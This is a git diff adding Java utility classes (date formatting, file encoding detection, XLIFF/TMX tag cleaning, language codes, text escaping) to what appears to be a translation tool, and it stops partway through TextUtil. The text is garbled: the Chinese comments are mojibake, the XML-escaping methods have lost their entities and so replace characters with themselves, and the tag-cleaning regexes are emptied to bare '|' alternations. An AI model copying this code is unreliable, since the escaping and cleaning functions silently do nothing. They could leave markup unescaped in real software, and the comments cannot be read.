SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd HHmmss"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 得到现在å°æ—¶ + */ + public static String getHour() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + String hour; + hour = dateString.substring(11, 13); + return hour; + } + + /** + * 得到现在分钟 + * @return + */ + public static String getTime() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + String min; + min = dateString.substring(14, 16); + return min; + } + + /** + * æ ¹æ®ç”¨æˆ·ä¼ å…¥çš„时间表示格å¼ï¼Œè¿”回当å‰æ—¶é—´çš„æ ¼å¼ å¦‚æžœæ˜¯yyyyMMdd,注æ„å­—æ¯yä¸èƒ½å¤§å†™ã€‚ + * @param sformat + * yyyyMMddhhmmss + * @return + */ + public static String getUserDate(String sformat) { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat(sformat); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 二个å°æ—¶æ—¶é—´é—´çš„差值,å¿…é¡»ä¿è¯äºŒä¸ªæ—¶é—´éƒ½æ˜¯"HH:MM"çš„æ ¼å¼ï¼Œè¿”回字符型的分钟 + */ + public static String getTwoHour(String st1, String st2) { + String[] kk = null; + String[] jj = null; + kk = st1.split(":"); + jj = st2.split(":"); + if (Integer.parseInt(kk[0]) < Integer.parseInt(jj[0])) + return "0"; + else { + double y = Double.parseDouble(kk[0]) + Double.parseDouble(kk[1]) / 60; + double u = Double.parseDouble(jj[0]) + Double.parseDouble(jj[1]) / 60; + if ((y - u) > 0) + return y - u + ""; + else + return "0"; + } + } + + /** + * 得到二个日期间的间隔天数 + */ + public static String getTwoDay(String sj1, String sj2) { + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + long day = 0; + try { + java.util.Date date = myFormatter.parse(sj1); + java.util.Date mydate = myFormatter.parse(sj2); + day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000); + } catch (Exception e) { + return ""; + } + return day + ""; + } + + /** + * 时间å‰æŽ¨æˆ–åŽæŽ¨åˆ†é’Ÿ,其中JJ表示分钟. + */ + public static String getPreTime(String sj1, String jj) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String mydate1 = ""; + try { + Date date1 = format.parse(sj1); + long Time = (date1.getTime() / 1000) + Integer.parseInt(jj) * 60; + date1.setTime(Time * 1000); + mydate1 = format.format(date1); + } catch (Exception e) { + } + return mydate1; + } + + /** + * 得到一个时间延åŽæˆ–å‰ç§»å‡ å¤©çš„时间,nowdate为时间,delay为å‰ç§»æˆ–åŽå»¶çš„天数 + */ + public static String getNextDay(String nowdate, String delay) { + try { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + String mdate = ""; + Date d = strToDate(nowdate); + long myTime = (d.getTime() / 1000) + Integer.parseInt(delay) * 24 * 60 * 60; + d.setTime(myTime * 1000); + mdate = format.format(d); + return mdate; + } catch (Exception e) { + return ""; + } + } + + /** + * 判断是å¦é—°å¹´ + * @param ddate + * @return + */ + public static boolean isLeapYear(String ddate) { + + /** + * 详细设计: 1.被400整除是闰年,å¦åˆ™ï¼š 2.ä¸èƒ½è¢«4整除则ä¸æ˜¯é—°å¹´ 3.能被4整除åŒæ—¶ä¸èƒ½è¢«100整除则是闰年 3.能被4整除åŒæ—¶èƒ½è¢«100整除则ä¸æ˜¯é—°å¹´ + */ + Date d = strToDate(ddate); + GregorianCalendar gc = (GregorianCalendar) Calendar.getInstance(); + gc.setTime(d); + int year = gc.get(Calendar.YEAR); + if ((year % 400) == 0) + return true; + else if ((year % 4) == 0) { + if ((year % 100) == 0) + return false; + else + return true; + } else + return false; + } + + /** + * è¿”å›žç¾Žå›½æ—¶é—´æ ¼å¼ 26 Apr 2006 + * @param str + * @return + */ + public static String getEDate(String str) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(str, pos); + String j = strtodate.toString(); + String[] k = j.split(" "); + return k[2] + k[1].toUpperCase() + k[5].substring(2, 4); + } + + /** + * 获å–一个月的最åŽä¸€å¤© + * @param dat + * @return + */ + public static String getEndDateOfMonth(String dat) {// yyyy-MM-dd + String str = dat.substring(0, 8); + String month = dat.substring(5, 7); + int mon = Integer.parseInt(month); + if (mon == 1 || mon == 3 || mon == 5 || mon == 7 || mon == 8 || mon == 10 || mon == 12) { + str += "31"; + } else if (mon == 4 || mon == 6 || mon == 9 || mon == 11) { + str += "30"; + } else { + if (isLeapYear(dat)) { + str += "29"; + } else { + str += "28"; + } + } + return str; + } + + /** + * 判断二个时间是å¦åœ¨åŒä¸€ä¸ªå‘¨ + * @param date1 + * @param date2 + * @return + */ + public static boolean isSameWeekDates(Date date1, Date date2) { + Calendar cal1 = Calendar.getInstance(); + Calendar cal2 = Calendar.getInstance(); + cal1.setTime(date1); + cal2.setTime(date2); + int subYear = cal1.get(Calendar.YEAR) - cal2.get(Calendar.YEAR); + if (0 == subYear) { + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) + return true; + } else if (1 == subYear && 11 == cal2.get(Calendar.MONTH)) { + // 如果12月的最åŽä¸€å‘¨æ¨ªè·¨æ¥å¹´ç¬¬ä¸€å‘¨çš„è¯åˆ™æœ€åŽä¸€å‘¨å³ç®—åšæ¥å¹´çš„第一周 + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) + return true; + } else if (-1 == subYear && 11 == cal1.get(Calendar.MONTH)) { + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) + return true; + } + return false; + } + + /** + * 产生周åºåˆ—,å³å¾—到当å‰æ—¶é—´æ‰€åœ¨çš„年度是第几周 + * @return + */ + public static String getSeqWeek() { + Calendar c = Calendar.getInstance(Locale.CHINA); + String week = Integer.toString(c.get(Calendar.WEEK_OF_YEAR)); + if (week.length() == 1) + week = "0" + week; + String year = Integer.toString(c.get(Calendar.YEAR)); + return year + week; + } + + /** + * 获得一个日期所在的周的星期几的日期,如è¦æ‰¾å‡º2002å¹´2月3æ—¥æ‰€åœ¨å‘¨çš„æ˜ŸæœŸä¸€æ˜¯å‡ å· + * @param sdate + * @param num + * @return + */ + public static String getWeek(String sdate, String num) { + // å†è½¬æ¢ä¸ºæ—¶é—´ + Date dd = DateUtils.strToDate(sdate); + Calendar c = Calendar.getInstance(); + c.setTime(dd); + if (num.equals("1")) // 返回星期一所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); + else if (num.equals("2")) // 返回星期二所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.TUESDAY); + else if (num.equals("3")) // 返回星期三所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.WEDNESDAY); + else if (num.equals("4")) // 返回星期四所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.THURSDAY); + else if (num.equals("5")) // 返回星期五所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY); + else if (num.equals("6")) // 返回星期六所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY); + else if (num.equals("0")) // 返回星期日所在的日期 + c.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY); + return new SimpleDateFormat("yyyy-MM-dd").format(c.getTime()); + } + + /** + * æ ¹æ®ä¸€ä¸ªæ—¥æœŸï¼Œè¿”回是星期几的字符串 + * @param sdate + * @return + */ + public static String getWeek(String sdate) { + // å†è½¬æ¢ä¸ºæ—¶é—´ + Date date = DateUtils.strToDate(sdate); + Calendar c = Calendar.getInstance(); + c.setTime(date); + // int hour=c.get(Calendar.DAY_OF_WEEK); + // hour中存的就是星期几了,其范围 1~7 + // 1=星期日 7=星期六,其他类推 + return new SimpleDateFormat("EEEE").format(c.getTime()); + } + + /** + * 此方法未用到,因此未åšå›½é™…化处ç†ï¼Œå¦‚果将æ¥è¦ä½¿ç”¨æ­¤æ–¹æ³•ï¼Œè¯·å¯¹æ–¹æ³•é‡Œé¢çš„值åšå›½é™…åŒ–å¤„ç† + * @param sdate + * @return ; + */ + public static String getWeekStr(String sdate) { + String str = ""; + str = DateUtils.getWeek(sdate); + if ("1".equals(str)) { + str = "星期日"; + } else if ("2".equals(str)) { + str = "星期一"; + } else if ("3".equals(str)) { + str = "星期二"; + } else if ("4".equals(str)) { + str = "星期三"; + } else if ("5".equals(str)) { + str = "星期四"; + } else if ("6".equals(str)) { + str = "星期五"; + } else if ("7".equals(str)) { + str = "星期六"; + } + return str; + } + + /** + * 两个时间之间的天数 + * @param date1 + * @param date2 + * @return + */ + public static long getDays(String date1, String date2) { + if (date1 == null || date1.equals("")) + return 0; + if (date2 == null || date2.equals("")) + return 0; + // 转æ¢ä¸ºæ ‡å‡†æ—¶é—´ + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + java.util.Date date = null; + java.util.Date mydate = null; + try { + date = myFormatter.parse(date1); + mydate = myFormatter.parse(date2); + } catch (Exception e) { + } + long day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000); + return day + 1; + } + + /** + * å½¢æˆå¦‚下的日历 , æ ¹æ®ä¼ å…¥çš„一个时间返回一个结构 星期日 星期一 星期二 星期三 星期四 星期五 星期六 下é¢æ˜¯å½“月的å„个时间 此函数返回该日历第一行星期日所在的日期 + * @param sdate + * @return + */ + public static String getNowMonth(String sdate) { + // å–è¯¥æ—¶é—´æ‰€åœ¨æœˆçš„ä¸€å· + sdate = sdate.substring(0, 8) + "01"; + + // 得到这个月的1å·æ˜¯æ˜ŸæœŸå‡  + Date date = DateUtils.strToDate(sdate); + Calendar c = Calendar.getInstance(); + c.setTime(date); + int u = c.get(Calendar.DAY_OF_WEEK); + String newday = DateUtils.getNextDay(sdate, (1 - u) + ""); + return newday; + } + + /** + * å–å¾—æ•°æ®åº“主键 生æˆæ ¼å¼ä¸ºyyyymmddhhmmss+kä½éšæœºæ•° + * @param k + * 表示是å–几ä½éšæœºæ•°ï¼Œå¯ä»¥è‡ªå·±å®š + */ + + public static String getNo(int k) { + + return getUserDate("yyyyMMddhhmmss") + getRandom(k); + } + + /** + * 返回一个éšæœºæ•° + * @param i + * @return + */ + public static String getRandom(int i) { + Random jjj = new Random(); + // int suiJiShu = jjj.nextInt(9); + if (i == 0) + return ""; + String jj = ""; + for (int k = 0; k < i; k++) { + jj = jj + jjj.nextInt(9); + } + return jj; + } + + /** + * @param args + */ + public static boolean RightDate(String date) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + if (date == null) + return false; + if (date.length() > 10) { + sdf = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + } else { + sdf = new SimpleDateFormat("yyyy-MM-dd"); + } + try { + sdf.parse(date); + } catch (ParseException pe) { + return false; + } + return true; + } + + /** + * 返回两个日期间的天数,去除周末的天数 + * @param startdate + * ,enddate æ ¼å¼â€œyyyy-MM-dd†+ * @return + */ + public static int getdaysslice(String startdate, String enddate) { + if (startdate == null || "".equals(startdate.trim())) + return 0; + if (enddate == null || "".equals(enddate.trim())) + return 0; + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + java.util.Date start = null; + java.util.Date end = null; + try { + start = myFormatter.parse(startdate); + end = myFormatter.parse(enddate); + } catch (Exception e) { + return 0; + } + long daynum = (end.getTime() - start.getTime()) / (24 * 60 * 60 * 1000); + Calendar startcalendar = new GregorianCalendar(); + startcalendar.setTime(start); + int n = 0; + for (int i = 0; i <= daynum; i++) { + if (startcalendar.get(Calendar.DAY_OF_WEEK) == Calendar.SATURDAY + || startcalendar.get(Calendar.DAY_OF_WEEK) == Calendar.SUNDAY) { + startcalendar.add(Calendar.DAY_OF_MONTH, 1); + continue; + } + startcalendar.add(Calendar.DAY_OF_MONTH, 1); + n++; + } + return n; + } + + /** + * 返回给定连接符的日期字符串 + * @param date + * 需è¦è½¬æ¢çš„字符串,separator 日期格å¼ä¸­è¿žæŽ¥çš„字符 例如:20071227——>2007-12-27 + * @return + */ + public static String formatToYYYYMMDD(String date, String separator) { + if (null == date || "".equals(date) || null == separator || "".equals(separator)) { + return date; + } + StringBuffer sb = new StringBuffer(); + String reg = "[0-9]{4}(01|02|03|04|05|06|07|08|09|10|11|12){1}(01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31){1}"; + + Pattern p = Pattern.compile(reg); + Matcher m = p.matcher(date); + int offset = 0; + while (m.find(offset)) { + int sIndex = m.start(); + int eIndex = m.end(); + + String tmpPrefix = date.substring(offset, sIndex); + sb.append(tmpPrefix); + + String tmpDate = date.substring(sIndex, eIndex); + + String tmpYYYY = tmpDate.substring(0, 4); + String tmpMM = tmpDate.substring(4, 6); + String tmpDD = tmpDate.substring(6, 8); + + sb.append(tmpYYYY); + sb.append(separator); + sb.append(tmpMM); + sb.append(separator); + sb.append(tmpDD); + offset = m.end(); + } + + String tmpSuffix = date.substring(offset, date.length()); + sb.append(tmpSuffix); + return sb.toString(); + } + + public static java.sql.Timestamp getTimestampFromUTC(String utcFormat) { + if (utcFormat == null || utcFormat.equals("")) { + return null; + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(utcFormat, pos); + if (strtodate == null) { + strtodate = new Date(); + } + return new java.sql.Timestamp(strtodate.getTime()); + + } + + /** + * å°† yyyy-MM-dd HH:mm:ss æ ¼å¼å­—符串转化为 Timestamp æ ¼å¼ + * @param dateStr + * @return ; + */ + public static java.sql.Timestamp getTimestampFromString(String dateStr) { + if (dateStr == null || dateStr.equals("")) { + return null; + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(dateStr, pos); + if (strtodate == null) { + strtodate = new Date(); + } + return new java.sql.Timestamp(strtodate.getTime()); + + } + + public static Date getDateFromUTC(String utcFormat) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(utcFormat, pos); + if (strtodate == null) { + strtodate = new Date(); + } + return strtodate; + } + + public static String formatToUTC(long datetime) { + return formatLongTime(datetime, "yyyyMMdd'T'HHmmss'Z'"); + } + + public static String formatLongTime(long datetime, String format) { + SimpleDateFormat formatter = new SimpleDateFormat(format); + return formatter.format(new Date(datetime)); + } + + public static String formatDateFromUTC(String utcFormat) { + if (utcFormat == null || utcFormat.equals("")) { + return null; + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(utcFormat, pos); + if (strtodate == null) { + strtodate = new Date(); + } + // 显示到秒级 #3816 + return formatLongTime(strtodate.getTime(), "yyyy-MM-dd, HH:mm:ss"); + } + + /** + * å°†yyyy-MM-dd HH:mm:ss æ ¼å¼
    + * å’ŒyyyyMMdd'T'HHmmss'Z'æ ¼å¼
    + * å’Œlongæ ¼å¼
    + * 的时间统一转æ¢æˆ yyyyMMdd'T'HHmmss'Z'è¿™æ ·çš„æ ¼å¼ + * @param dateTime + * @return ; + */ + public static String formatStringTime(String dateTime) { + if (dateTime == null || dateTime.equals("")) { + return null; + } + String formatToUTC = null; + try { + long parseLong = Long.parseLong(dateTime); + formatToUTC = formatToUTC(parseLong); + } catch (NumberFormatException e2) { + formatToUTC = null; + } + + if (null != formatToUTC) { + return formatToUTC; + } + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + Date date = null; + try { + date = sdf.parse(dateTime); + } catch (ParseException e) { + sdf = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + try { + date = sdf.parse(dateTime); + } catch (ParseException e1) { + return null; + } + + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + return formatter.format(date); + } + + /** + * @param args + */ + public static void main(String[] args) { + System.out.println(formatToUTC(00)); + System.out.println(getTimestampFromUTC("20080415T000000Z")); + System.out.println(getTimestampFromUTC("20080415T043215Z")); + System.out.println(getDateFromUTC("200804015T102502+0800")); + // String test = "Today is 20071227,tommrow is 20071228."; + // System.out.println(test.length()); + // String result = DateUtils.formatToYYYYMMDD(test, "-"); + System.out.println(formatDateFromUTC("20080415T043215Z")); + // System.out.println(result.length()); + // System.out.println(dateToStr(strToDate("20111110000000"))); + System.out.println(System.currentTimeMillis()); + + System.out.println("TEST=>" + getTimestampFromUTC("2012-06-06 10:07:12.437")); + // 2011-10-08 07:08:16 + System.out.println(formatStringTime("2011-10-08 07:08:16")); + System.out.println(formatStringTime("20111008T070816Z")); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/FileEncodingDetector.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/FileEncodingDetector.java new file mode 100644 index 0000000..14eddb9 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/FileEncodingDetector.java @@ -0,0 +1,53 @@ +/** + * FileEncodingDetector.java + * + * Version information : + * + * Date:2012-12-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.util; + +import info.monitorenter.cpdetector.io.ASCIIDetector; +import info.monitorenter.cpdetector.io.CodepageDetectorProxy; +import info.monitorenter.cpdetector.io.JChardetFacade; +import info.monitorenter.cpdetector.io.ParsingDetector; +import info.monitorenter.cpdetector.io.UnicodeDetector; + +import java.io.File; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class FileEncodingDetector { + + public static String detectFileEncoding(File f) { + CodepageDetectorProxy detector = CodepageDetectorProxy.getInstance(); + + detector.add(UnicodeDetector.getInstance()); + detector.add(ASCIIDetector.getInstance()); + detector.add(new ParsingDetector(false)); + detector.add(JChardetFacade.getInstance()); + java.nio.charset.Charset charset = null; + try { + charset = detector.detectCodepage(f.toURI().toURL()); + } catch (Exception ex) { + ex.printStackTrace(); + } + if (charset != null){ + // 因为 utf-8 兼容 US-ASCII,但 US-ASCII ä¸å…¼å®¹ã€€UTF-8,对中文等亚州语系无法兼容。故应å˜æˆã€€UTF-8 + if (charset.name().equalsIgnoreCase("US-ASCII")) { + return "UTF-8"; + } + return charset.name(); + }else{ + return null; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/InnerTagClearUtil.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/InnerTagClearUtil.java new file mode 100644 index 0000000..fcf8afc --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/InnerTagClearUtil.java @@ -0,0 +1,67 @@ +/** + * InnerTagClearUtil.java + * + * Version information : + * + * Date:2013-10-21 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.util; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * å¯åœ¨ XLIFF 中使用ã€è€Œä¸èƒ½åœ¨ TMX 中使用的内部标记有:
    + *
    + * å¯åœ¨ TMX 中使用ã€è€Œä¸èƒ½åœ¨ XLIFF 中使用的内部标记有:
    + *
    + * 主è¦æ¸…ç†TMX 与Xliff 文本的内部标记ä¸å…¼å®¹çš„情况 + * @author yule + * @version + * @since JDK1.6 + */ +public class InnerTagClearUtil { + + private static Pattern XLIFF_CLEAR_PATTERN = Pattern + .compile("||||
    ||
    "); + + private static Pattern TMX_CLEAR_PATTERN = Pattern.compile(".*||"); + + private InnerTagClearUtil() { + // single instance + } + + /** + * 清ç†Xliff的内部标记,清ç†åŽçš„文本供TMX使用 + * @param xliffXmlContent + * : Xliffæºæˆ–者目标文本的FullText + * @return ; + */ + public static String clearXliffTag4Tmx(String xliffXmlContent) { + if (null == xliffXmlContent) { + return null; + } + Matcher matcher = XLIFF_CLEAR_PATTERN.matcher(xliffXmlContent); + return matcher.replaceAll(""); + } + + /** + * 清ç†TMX的内部标记,清ç†åŽçš„文本供Xliff使用 + * @param tmxXmlContent + * @return ; + */ + public static String clearTmx4Xliff(String tmxXmlContent) { + if (null == tmxXmlContent) { + return null; + } + Matcher matcher = TMX_CLEAR_PATTERN.matcher(tmxXmlContent); + return matcher.replaceAll(""); + } + + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/LanguageUtils.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/LanguageUtils.java new file mode 100644 index 0000000..8247c91 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/LanguageUtils.java @@ -0,0 +1,44 @@ +/** + * LanguageUtils.java + * + * Version information : + * + * Date:2013-5-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.util; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public final class LanguageUtils { + + /** + * 转æ¢è¯­è¨€ä»£ç ï¼Œè½¬æ¢æˆå¹³å°æ ‡å‡†çš„语言代ç ï¼Œå¦‚en-US,zh + * @param lang + * @return ; + */ + public static String convertLangCode(String lang) { + if (lang == null || lang.equals("")) { + return lang; + } + if (lang.length() == 5) { + String[] code = lang.split("-"); + if (code.length == 2) { + return code[0].toLowerCase() + "-" + code[1].toUpperCase(); + } else { + return lang; + } + } else if (lang.length() == 2) { + return lang.toLowerCase(); + } else { + return lang; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/TextUtil.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/TextUtil.java new file mode 100644 index 0000000..8211c8d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/TextUtil.java @@ -0,0 +1,1077 @@ +package net.heartsome.cat.common.util; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.UUID; + +import net.heartsome.cat.common.core.CoreActivator; +import net.heartsome.cat.common.core.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EOFException; +import com.ximpleware.EncodingException; +import com.ximpleware.EntityException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * å¤„ç† + * @author weachy + * @version + * @since JDK1.5 + */ +public class TextUtil { + + private static final Logger LOGGER = LoggerFactory.getLogger(TextUtil.class.getName()); + + private static Hashtable ISOLang; + + private static Hashtable countries; + + private static Hashtable descriptions; + + private static Hashtable isBidi; + + private static final String _SPACE = " "; + + private TextUtil() { + // 防止此类被实例化 + } + + public static String cleanString(String input) { + input = input.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + return validChars(input); + } + + public static String validChars(String input) { + // Valid: #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | + // [#x10000-#x10FFFF] + // Discouraged: [#x7F-#x84], [#x86-#x9F], [#xFDD0-#xFDDF] + // + StringBuffer buffer = new StringBuffer(); + char c; + int length = input.length(); + for (int i = 0; i < length; i++) { + c = input.charAt(i); + if (c == '\t' || c == '\n' || c == '\r' || c >= '\u0020' && c <= '\uD7DF' || c >= '\uE000' && c <= '\uFFFD') { + // normal character + buffer.append(c); + } else if (c >= '\u007F' && c <= '\u0084' || c >= '\u0086' && c <= '\u009F' || c >= '\uFDD0' + && c <= '\uFDDF') { + // Control character + buffer.append("&#x" + Integer.toHexString(c) + ";"); //$NON-NLS-1$ //$NON-NLS-2$ + } else if (c >= '\uDC00' && c <= '\uDFFF' || c >= '\uD800' && c <= '\uDBFF') { + // Multiplane character + buffer.append(input.substring(i, i + 1)); + } + } + return buffer.toString(); + } + + /** + * @param string + * @param trim + * @return + */ + public static String normalise(String string, boolean trim) { + boolean repeat = false; + String rs = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char ch = string.charAt(i); + if (!Character.isSpaceChar(ch)) { + if (ch != '\n') { + rs = rs + ch; + } else { + rs = rs + " "; //$NON-NLS-1$ + repeat = true; + } + } else { + rs = rs + " "; //$NON-NLS-1$ + while (i < length - 1 && Character.isSpaceChar(string.charAt(i + 1))) { + i++; + } + } + } + if (repeat == true) { + return normalise(rs, trim); + } + if (trim) { + return rs.trim(); + } + return rs; + } + + /** + * @param string + * @param trim + * @return robert添加 2011-11-02 + */ + public static String normalise(String string) { + return normalise(string, true); + } + + + /** + * 清除特殊字符 + * @param input + * @return + */ + public static String cleanSpecialString(String input) { + input = input.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("\"", """); + return input; + } + + /** + * æ¢å¤ç‰¹æ®Šå­—符 + * @param input + * @return + */ + public static String resetSpecialString(String input) { + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(""", "\""); + input = input.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll("'", "'"); //$NON-NLS-1$ //$NON-NLS-2$ + return input; + + } + + public static String getISO639(String code, String langFile) { + if (code.equals("")) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + + try { + loadISOLang(langFile); + } catch (Exception e) { + e.printStackTrace(); + return ""; //$NON-NLS-1$ + } + + if (ISOLang.containsKey(code.toLowerCase())) { + return ISOLang.get(code.toLowerCase()); + } + + return ""; //$NON-NLS-1$ + } + + private static void loadISOLang(String strLangFile) { + if (strLangFile == null) { + return; + } + ISOLang = new Hashtable(); + VTDGen vg = new VTDGen(); + // vg.setDoc(strLangFile.getBytes()); + try { + vg.setDoc(readBytesFromIS(CoreActivator.getConfigurationFileInputStream(strLangFile))); + vg.parse(true); + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/languages/lang"); + int codeIndex; + String code = null; + String langName; + while ((ap.evalXPath()) != -1) { + codeIndex = vn.getAttrVal("code"); + if (codeIndex != -1) { + code = vn.toString(codeIndex); + } + langName = vu.getElementPureText(); + if (code != null && langName != null) { 